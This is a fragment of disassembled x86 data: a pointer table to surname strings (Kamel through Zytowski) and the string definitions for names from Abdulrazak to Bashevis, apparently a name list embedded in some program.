		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .XComp0:off_445180o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .XComp0:00445184o
		align 4
aAdams		db 'Adams',0            ; DATA XREF: .XComp0:00445188o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .XComp0:0044518Co
aAdelstein	db 'Adelstein',0        ; DATA XREF: .XComp0:00445190o
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: .XComp0:00445194o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .XComp0:00445198o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: .XComp0:0044519Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .XComp0:004451A0o
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: .XComp0:004451A4o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .XComp0:004451A8o
		align 10h
aAleks		db 'Aleks',0            ; DATA XREF: .XComp0:004451ACo
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .XComp0:004451B0o
aAlongi		db 'Alongi',0           ; DATA XREF: .XComp0:004451B4o
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: .XComp0:004451B8o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .XComp0:004451BCo
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .XComp0:004451C0o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .XComp0:004451C4o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .XComp0:004451C8o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: .XComp0:004451CCo
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .XComp0:004451D0o
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: .XComp0:004451D4o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .XComp0:004451D8o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: .XComp0:004451DCo
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .XComp0:004451E0o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .XComp0:004451E4o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .XComp0:004451E8o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: .XComp0:004451ECo
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: .XComp0:004451F0o
aAntos		db 'Antos',0            ; DATA XREF: .XComp0:004451F4o
		align 10h
aArbia		db 'Arbia',0            ; DATA XREF: .XComp0:004451F8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .XComp0:004451FCo
aArellano	db 'Arellano',0         ; DATA XREF: .XComp0:00445200o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .XComp0:00445204o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .XComp0:00445208o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: .XComp0:0044520Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .XComp0:00445210o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .XComp0:00445214o
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: .XComp0:00445218o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .XComp0:0044521Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: .XComp0:00445220o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .XComp0:00445224o
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .XComp0:00445228o
aAyling		db 'Ayling',0           ; DATA XREF: .XComp0:0044522Co
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .XComp0:00445230o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .XComp0:00445234o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .XComp0:00445238o
		align 10h
aBady		db 'Bady',0             ; DATA XREF: .XComp0:0044523Co
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: .XComp0:00445240o
aBagnold	db 'Bagnold',0          ; DATA XREF: .XComp0:00445244o
aBailar		db 'Bailar',0           ; DATA XREF: .XComp0:00445248o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .XComp0:0044524Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .XComp0:00445250o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .XComp0:00445254o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: .XComp0:00445258o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .XComp0:0044525Co
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: .XComp0:00445260o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: .XComp0:00445264o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .XComp0:00445268o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .XComp0:0044526Co
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: .XComp0:00445270o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .XComp0:00445274o
aBarbetti	db 'Barbetti',0         ; DATA XREF: .XComp0:00445278o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: .XComp0:0044527Co
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .XComp0:00445280o
aBarriola	db 'Barriola',0         ; DATA XREF: .XComp0:00445284o
		align 4
aBarry		db 'Barry',0            ; DATA XREF: .XComp0:00445288o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .XComp0:0044528Co
aBartolome	db 'Bartolome',0        ; DATA XREF: .XComp0:00445290o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .XComp0:00445294o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .XComp0:00445298o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .XComp0:0044529Co
		align 4
